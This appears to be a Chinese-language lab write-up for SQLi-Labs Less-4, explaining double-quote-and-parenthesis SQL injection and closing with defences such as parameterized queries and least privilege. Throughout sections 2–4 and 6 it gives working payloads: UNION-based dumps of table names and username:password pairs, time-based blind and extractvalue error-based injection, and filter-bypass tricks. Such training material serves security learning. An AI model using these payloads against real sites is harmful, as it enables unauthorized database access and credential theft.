1. 漏洞环境与测试目标解析
SQLi-Labs是一个专门用于学习SQL注入技术的开源靶场,其中Less-4是一个典型的基于双引号和括号闭合的字符型GET注入漏洞场景。这个关卡模拟了开发者在拼接SQL查询语句时,未对用户输入的参数进行充分过滤和转义的情况。
与常见的单引号闭合不同,Less-4的特殊之处在于其SQL查询语句使用了双引号(")和括号(())来包裹用户输入。这种闭合方式在实际开发中并不少见,特别是在使用某些框架或ORM工具时可能会遇到。攻击者可以利用这种闭合方式构造特殊的注入payload,绕过常规的防御措施。
注意:本文所有操作仅限在授权的测试环境中进行,未经授权的渗透测试可能涉及法律风险。
2. 注入原理深度剖析
2.1 SQL查询语句结构分析
通过查看Less-4的源码,我们可以发现其SQL查询语句大致如下:
sql复制SELECT * FROM users WHERE id=("$id") LIMIT 0,1
这里的关键点是:
- 用户输入的$id参数被双引号包裹
- 整个参数部分又被括号包裹
- 查询结果只返回第一条记录(LIMIT 0,1)
这种结构意味着我们需要构造的payload必须能够:
- 正确闭合双引号
- 正确闭合括号
- 在有限的返回结果中获取有效信息
2.2 注入点探测技巧
在开始正式注入前,我们需要确认注入点的存在和类型。以下是常用的探测方法:
- 基础测试:
code复制?id=1" --+
这个payload尝试用双引号闭合前面的引号,并用注释符(--+)注释掉后面的内容。如果页面返回正常,说明可能存在注入。
- 错误触发:
code复制?id=1"
故意不闭合引号,观察是否报错。如果返回数据库错误信息,可以进一步确认注入点。
- 逻辑测试:
code复制?id=1") and 1=1 --+
?id=1") and 1=2 --+
通过布尔逻辑判断注入是否成功。如果两个返回结果不同,说明注入成功。
3. 完整注入流程详解
3.1 确定字段数量
使用ORDER BY子句确定查询返回的字段数量:
code复制?id=1") order by 3 --+
?id=1") order by 4 --+
当order by 4时报错,说明字段数为3。
3.2 确定回显位置
使用UNION SELECT确定哪些字段会在页面中显示:
code复制?id=-1") union select 1,2,3 --+
观察页面中哪些数字被显示出来,这些位置可以用来输出我们想要的信息。
3.3 获取数据库信息
通过回显位置获取数据库基本信息:
code复制?id=-1") union select 1,database(),version() --+
这将显示当前数据库名称和数据库版本。
3.4 获取表名
查询information_schema获取表名:
code复制?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
使用group_concat将所有表名合并显示。
3.5 获取列名
选择感兴趣的表(如users),查询其列名:
code复制?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
3.6 获取数据
最后获取表中的实际数据:
code复制?id=-1") union select 1,group_concat(username,0x3a,password),3 from users --+
这里使用0x3a(冒号的十六进制)作为分隔符,清晰显示用户名和密码的对应关系。
4. 高级注入技巧与绕过
4.1 盲注技术应用
当页面没有明显回显时,可以使用基于时间的盲注:
code复制?id=1") and if(ascii(substr(database(),1,1))>100,sleep(3),0) --+
通过页面响应时间判断条件是否成立。
4.2 绕过过滤的技巧
如果遇到某些关键词被过滤,可以尝试:
- 大小写混合:SeLeCt
- 双写关键字:selselectect
- 注释符分割:sel/xxx/ect
- 十六进制编码:0x73656C656374
4.3 使用报错注入
当union被禁用时,可以使用报错注入:
code复制?id=1") and extractvalue(1,concat(0x7e,(select database()))) --+
通过XML解析错误获取数据库信息。
5. 防御措施与修复建议
5.1 参数化查询
使用预处理语句是防止SQL注入的最有效方法:
php复制$stmt = $conn->prepare("SELECT * FROM users WHERE id=(?)");
$stmt->bind_param("i", $id);
$stmt->execute();
5.2 输入验证
对用户输入进行严格验证:
- 对于数字型参数,使用intval()强制转换
- 对于字符型参数,使用正则表达式验证格式
5.3 最小权限原则
数据库用户应遵循最小权限原则:
- 只授予应用所需的最低权限
- 避免使用root或高权限账户连接数据库
5.4 WAF规则配置
配置Web应用防火墙规则:
- 过滤常见的SQL关键词和特殊字符
- 监控异常的查询模式
6. 实战经验与注意事项
-
在测试时,建议使用Burp Suite等工具记录和重放请求,方便修改payload。
-
遇到复杂过滤时,可以尝试使用CHAR()函数代替直接字符串:
code复制?id=1") union select 1,group_concat(CHAR(117,115,101,114,110,97,109,101)),3 from users --+
-
在真实环境中,注入成功后应谨慎操作,避免使用DROP等破坏性语句。
-
对于LIMIT限制的情况,可以通过子查询或分批次获取数据:
code复制?id=-1") union select 1,(select password from users limit 0,1),3 --+
-
某些特殊字符可能需要URL编码,如空格编码为%20,单引号编码为%27等。
-
在实际渗透测试中,获取数据库信息后,还需要考虑提权、横向移动等后续操作,但必须确保在授权范围内进行。
通过这个关卡的学习,我们不仅掌握了双引号加括号闭合的字符型注入技术,更重要的是理解了SQL注入的原理和防御方法。这种类型的注入在实际应用中并不少见,特别是在使用某些框架自动生成的查询语句时。作为开发者,应该时刻保持安全意识,避免在代码中出现类似的漏洞;作为安全研究人员,掌握这些技术有助于更好地发现和修复系统中的安全隐患。